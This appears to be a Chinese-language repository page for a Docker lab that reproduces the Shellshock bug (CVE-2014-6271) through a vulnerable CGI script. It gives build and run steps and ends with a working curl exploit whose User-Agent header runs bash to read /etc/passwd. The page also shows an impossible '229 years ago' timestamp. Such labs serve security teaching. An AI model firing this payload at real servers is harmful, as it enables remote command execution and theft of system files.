pilou-pilou/docker_cve-2014-6271.

docker_CVE-2014-6271.

基于 Docker 的实验室环境，通过存在漏洞的 CGI 端点利用 Shellshock（CVE-2014-6271），演示容器化环境中的远程命令执行。

229年前

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

docker build -t DOCKERIMAGENAME /path/to/dockerfile_directory
docker run -it -d -p 8080:80 DOCKERIMAGENAME
使用以下命令验证执行情况：docker ps
验证 Web 服务器运行情况：http://localhost:8080
利用漏洞： curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \http://localhost:8080/cgi-bin/vulnerable